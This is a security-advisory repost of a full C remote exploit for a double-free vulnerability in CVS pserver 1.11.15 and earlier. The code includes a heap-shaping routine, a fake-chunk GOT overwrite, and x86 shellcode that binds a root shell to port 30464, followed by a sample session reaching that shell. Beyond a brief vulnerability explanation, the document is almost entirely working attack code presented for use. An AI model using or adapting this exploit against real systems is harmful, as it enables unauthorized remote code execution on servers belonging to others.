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CVS error_prog_name Buffer Overflow Exploit
------------------------------------------------------------------------
SUMMARY
As we reported in our previous article:
<http://www.securiteam.com/unixfocus/5XP0C00D5S.html> CVS Multiple
Vulnerabilities (getline, serve_notify, serve_max_dotdot, wrapper,
error_prog_name), a vulnerability in CVS allows a remote attacker to cause
an overflow in the error_prog_name function's buffer.
The following exploit code can be used to test your system for the
mentioned vulnerability.
DETAILS
Exploit:
/* Remote CVS <= 1.11.15 exploit for the error_prog_name double free vuln.
*
* by Gyan Chawdhary, gunnu45@hotmail.com
*
* Vulnerability Description:
*
* The Vulnerability lies in the serve_argumentx function. The Argumentx
command
* parameter is used to append data to a previously supplied Argument
command.
* These data pointers are stored in the argument_vector array. The
* serve_argumentx fails to check wether an Argument command is present in
the
* argument_vector and may append data to a pointer that should not get
* touched at all, in our case the *error_prog_name string. The function
calls
* realloc to create space for the new string. Because realloc will be
called
* to store strlen(error_prog_name) + strlen(somedata) the original chunk
which
* just stores error_prog_name will get freed. This free chunk will once
again
* get freed after we disconnect from the CVS pserver.
*
* Theory:
*
* Sucessful exploitation depends heavily on a specific heap layout to be
met.
* The argument_vector is initialized for holding 3 ptrs. If more space is
* required it will call realloc. The error_prog_name string resides right
* after the argument_vector chunk.
*
* |11| arg_vector |11| error_prog_name |109| some chunk
*
* address of error_prog_name is stored in the argument_vector[0].
*
* To achive sucessfull exploitation the following steps are performed.
*
* 1) Send Argumentx command with a large argument to reallocate
error_prog_name
* + large command on top of the heap. This will free the original
* error_prog_name buffer.
*
* 2) Send 50 Argument calls which will require the argument_vector array
to be
* reallocated freeing the current buffer. We keep this a high number to
get
* mem from the top itself and to make the exploit reliable. As both the
* original the arg_vector & err_prg_name buffers are free they are
* consolidated. Also we supply our fake chunk and shellcode in this call.
*
* 3) Send an argument command with the size & prevsize as its arguments.
This
* will now be stored in arg_vector & err_prg_name consolidated buffer.
*
* 4) Once we close the connection free will be called on the
error_prog_name
* string which will read our fake size & prev_size fields pointing to the
fake
* chunk , executing our shellcode.
*
* Phew !!!!
*
* NOTES: Iv tried this exp on RH 8 with glibc 2.3.*. This exp did NOT work
on
* my slack 8.0 cause of glibc 2.2 which creates a very different heap
layout.
* Also some tweaking will be required to use this exploit remotely as
sometimes
* the overwritten GOT does not execute due to early drop in the connection
.
* Please someone figure it out n mail me :) ..
*
* Now the exploit
*
* FOR EDUCATIONAL PURPOSE ONLY FOR EDUCATIONAL PURPOSE ONLY FOR
EDUCATIONAL
* PURPOSE ONLY FOR EDUCATIONAL PURPOSE ONLY FOR EDUCATIONAL PURPOSE ONLY
FOR
* EDUCATIONAL PURPOSE ONLY FOR EDUCATIONAL PURPOSE ONLY FOR EDUCATIONAL
PURPOSE *
* Greets: jp - for his cool paper on advanced malloc exploits, and the
heapy.so
* jaguar@felinemenace - We at ... :P
*
* cya
*
* Gyan
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
char shellcode[] =
"\xeb\x18"
"AAAAAAAAAAAAAAAAAAAAAAAA"
"\x31\xc0" // xorl %eax,%eax
"\x31\xdb" // xorl %ebx,%ebx
"\x31\xc9" // xorl %ecx,%ecx
"\x31\xd2" // xorl %edx,%edx
"\xb0\x66" // movb $0x66,%al
"\xb3\x01" // movb $0x1,%bl
"\x51" // pushl %ecx
"\xb1\x06" // movb $0x6,%cl
"\x51" // pushl %ecx
"\xb1\x01" // movb $0x1,%cl
"\x51" // pushl %ecx
"\xb1\x02" // movb $0x2,%cl
"\x51" // pushl %ecx
"\x8d\x0c\x24" // leal (%esp),%ecx
"\xcd\x80" // int $0x80
/* port is 30464 !!! */
/* bind(fd, (struct sockaddr)&sin, sizeof(sin) ) */
"\xb3\x02" // movb $0x2,%bl
"\xb1\x02" // movb $0x2,%cl
"\x31\xc9" // xorl %ecx,%ecx
"\x51" // pushl %ecx
"\x51" // pushl %ecx
"\x51" // pushl %ecx
/* port = 0x77, change if needed */
"\x80\xc1\x77" // addb $0x77,%cl
"\x66\x51" // pushl %cx
"\xb1\x02" // movb $0x2,%cl
"\x66\x51" // pushw %cx
"\x8d\x0c\x24" // leal (%esp),%ecx
"\xb2\x10" // movb $0x10,%dl
"\x52" // pushl %edx
"\x51" // pushl %ecx
"\x50" // pushl %eax
"\x8d\x0c\x24" // leal (%esp),%ecx
"\x89\xc2" // movl %eax,%edx
"\x31\xc0" // xorl %eax,%eax
"\xb0\x66" // movb $0x66,%al
"\xcd\x80" // int $0x80
/* listen(fd, 1) */
"\xb3\x01" // movb $0x1,%bl
"\x53" // pushl %ebx
"\x52" // pushl %edx
"\x8d\x0c\x24" // leal (%esp),%ecx
"\x31\xc0" // xorl %eax,%eax
"\xb0\x66" // movb $0x66,%al
"\x80\xc3\x03" // addb $0x3,%bl
"\xcd\x80" // int $0x80
/* cli = accept(fd, 0, 0) */
"\x31\xc0" // xorl %eax,%eax
"\x50" // pushl %eax
"\x50" // pushl %eax
"\x52" // pushl %edx
"\x8d\x0c\x24" // leal (%esp),%ecx
"\xb3\x05" // movl $0x5,%bl
"\xb0\x66" // movl $0x66,%al
"\xcd\x80" // int $0x80
/* dup2(cli, 0) */
"\x89\xc3" // movl %eax,%ebx
"\x31\xc9" // xorl %ecx,%ecx
"\x31\xc0" // xorl %eax,%eax
"\xb0\x3f" // movb $0x3f,%al
"\xcd\x80" // int $0x80
/* dup2(cli, 1) */
"\x41" // inc %ecx
"\x31\xc0" // xorl %eax,%eax
"\xb0\x3f" // movl $0x3f,%al
"\xcd\x80" // int $0x80
/* dup2(cli, 2) */
"\x41" // inc %ecx
"\x31\xc0" // xorl %eax,%eax
"\xb0\x3f" // movb $0x3f,%al
"\xcd\x80" // int $0x80
/* execve("//bin/sh", ["//bin/sh", NULL], NULL); */
"\x31\xdb" // xorl %ebx,%ebx
"\x53" // pushl %ebx
"\x68\x6e\x2f\x73\x68" // pushl $0x68732f6e
"\x68\x2f\x2f\x62\x69" // pushl $0x69622f2f
"\x89\xe3" // movl %esp,%ebx
"\x8d\x54\x24\x08" // leal 0x8(%esp),%edx
"\x31\xc9" // xorl %ecx,%ecx
"\x51" // pushl %ecx
"\x53" // pushl %ebx
"\x8d\x0c\x24" // leal (%esp),%ecx
"\x31\xc0" // xorl %eax,%eax
"\xb0\x0b" // movb $0xb,%al
"\xcd\x80" // int $0x80
/* exit(%ebx) */
"\x31\xc0" // xorl %eax,%eax
"\xb0\x01" // movb $0x1,%al
"\xcd\x80"; // int $0x80
void login(char *, char *, char *);
struct sockaddr_in s;
int sock;
void xp_connect(char *ip)
{
char buffer[1024];
char temp[1024];
int tmp;
s.sin_family = AF_INET;
s.sin_port = htons(2401);
s.sin_addr.s_addr = inet_addr(ip);
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
printf("Cannot create socket\n");
exit(-1);
}
if((connect(sock,(struct sockaddr *)&s,sizeof(struct sockaddr))) < 0)
{
printf("Cannot connect()\n");
exit(-1);
}
}
void xp_write(char *data)
{
if(write (sock, data, strlen(data)) < 0)
{
printf("write() failed\n");
exit(-1);
}
}
void xp_receive()
{
int tmp;
char buffer[1024*2];
if ( (tmp = read(sock, buffer, sizeof(buffer))) <= 0)
{
printf("read() failed\n");
exit(-1);
}
printf("%s", buffer);
}
#define GOT_MEMCPY 0x80d2b4a
#define SHELL_ADDR 0x080cda20
char *egg(unsigned int what, unsigned int where)
{
char *ptr, *buf;
int i=0; //dummy = 0xfffffffc;
int size = strlen(shellcode);
// Will contain our fake chunk supplided with our fd & bk fields,
// addr of shellcode & got addr - 8 of free(). We will also try to
// stuff in our shellcode in the same buffer as I dont have enough
// gdb patience/time to find nother controlable buffer :P
buf = (char *)malloc(1250);
ptr = buf;
for (;i<1248;) {
*( (int **)ptr ) = (int *)( where - 8 );
ptr+=4;
*( (int **)ptr ) = (int *)( what );
ptr+=4;
i+=8;
}
buf[1250] = '\0';
ptr -= size;
strcpy(ptr, shellcode);
ptr = buf;
return ptr;
}
unsigned char shifts[] = {
0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15,
16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31,
114,120, 53, 79, 96,109, 72,108, 70, 64, 76, 67,116, 74, 68, 87,
111, 52, 75,119, 49, 34, 82, 81, 95, 65,112, 86,118,110,122,105,
41, 57, 83, 43, 46,102, 40, 89, 38,103, 45, 50, 42,123, 91, 35,
125, 55, 54, 66,124,126, 59, 47, 92, 71,115, 78, 88,107,106, 56,
36,121,117,104,101,100, 69, 73, 99, 63, 94, 93, 39, 37, 61, 48,
58,113, 32, 90, 44, 98, 60, 51, 33, 97, 62, 77, 84, 80, 85,223,
225,216,187,166,229,189,222,188,141,249,148,200,184,136,248,190,
199,170,181,204,138,232,218,183,255,234,220,247,213,203,226,193,
174,172,228,252,217,201,131,230,197,211,145,238,161,179,160,212,
207,221,254,173,202,146,224,151,140,196,205,130,135,133,143,246,
192,159,244,239,185,168,215,144,139,165,180,157,147,186,214,176,
227,231,219,169,175,156,206,198,129,164,150,210,154,177,134,127,
182,128,158,208,162,132,167,209,149,241,153,251,237,236,171,195,
243,233,253,240,194,250,191,155,142,137,245,235,163,242,178,152 };
char *scramble(char * str)
{
int i;
char * s;
s = (char *) malloc (strlen (str) + 3);
memset(s, '\0', strlen(str) + 3);
*s = 'A';
for (i = 1; str[i - 1]; i++)
s[i] = shifts[(unsigned char)(str[i - 1])];
return (s);
}
#define LOGIN "BEGIN AUTH REQUEST\n/home/cvsroot\n%s\n%s\nEND AUTH
REQUEST\n"
#define REQUEST "Root %s\n"
void login(char *login, char *password, char *repo)
{
char *buf, *ptr, reply[1024];
char *rep, *rp;
buf = (char *)malloc(1024);
rep = (char *)malloc(512);
ptr = buf;
rp = rep;
sprintf(ptr, LOGIN, login, scramble(password));
sprintf(rp, REQUEST, repo);
ptr = buf;
xp_write(ptr); /* login request */
xp_receive();
xp_write(rp); /* root dir request */
}
char argumentx[] = "Argumentx %s\n";
char argument[] = "Argument %s\n";
char trash[] = "FCUK";
char str[] = "Argument \x42\x42\x42\x42\x6e\xff\xff\xff\x1c\xfc\xff\xff"
"\xf0\xff\xff\xff\x41\x41\n";
void overflow()
{
char *data, *dptr, *buf, *bufp, *eg, *arg, *aptr;
int i;
data = (char *)malloc(111111);
dptr = data;
buf = (char *)malloc(111111+20);
bufp = buf;
arg = (char *)malloc(1500);
aptr = arg;
memset(dptr, '\x41', 111111);
sprintf(bufp, argumentx, data);
xp_write(bufp);
eg = egg(0x80d2b4a, 0x080cda20);
sprintf(aptr, argument, eg);
for (i=0 ; i<50; i++)
xp_write(aptr);
xp_write(str);
xp_write(trash);
}
void usage(char *name)
{
printf("CVS <= 1.11.15 Argumentx double free() remote exploit by Gyan"
"Chawdhary (gunnu45@hotmail.com)\n"
"Usage: %s <options>\n"
"-i <target IP address>\n"
"-l <login>\n"
"-p <password>\n"
"-r <repository path>\n\n", name);
}
main(int argc, char **argv)
{
int c;
char ip[16], user[32], pass[32], rep[512];
ip[0] = 0;
user[0] = 0;
pass[0] = 0;
rep[0] = 0;
if (argc < 2) {
usage(argv[0]);
exit(0);
}
while ((c = getopt(argc, argv, "h::l:p:i:r:")) != -1) {
switch(c) {
case 'h':
usage(argv[0]);
exit(0);
case 'i':
strncpy(ip, optarg, sizeof(ip));
break;
case 'l':
strncpy(user, optarg, sizeof(user));
break;
case 'p':
strncpy(pass, optarg, sizeof(pass));
break;
case 'r':
strncpy(rep, optarg, sizeof(rep));
break;
}
}
if(ip) {
printf("Connecting to vulnerable CVS server ...");
xp_connect(ip);
printf("OK\n");
}
printf("Logging in ...");
login(user, pass, rep);
printf("OK\n");
printf("Exploiting the CVS error_prog_name double free now ...");
overflow();
printf("DONE\n");
printf("If everything went well there should be a shell on port
30464\n");
}
// xp_connect("127.0.0.1");
// sleep(20);
// login("gyan", "gyan");
// overflow(shellcode);
/*
[root@ill crazy]# ./free -i 127.0.0.1 -l gyan -p gyan -r /home/cvsroot
Connecting to vulnerable CVS server ...OK
Logging in ...I LOVE YOU
OK
Exploiting the CVS error_prog_name double free now ...DONE
If everything went well there should be a shell on port 30464
[root@ill crazy]# telnet 127.0.0.1 30464
Trying 127.0.0.1...
Connected to localhost.localdomain (127.0.0.1).
Escape character is '^]'.
*/
ADDITIONAL INFORMATION
The information has been provided by <mailto:gunnu45@hotmail.com> Gyan
Chawdhary.
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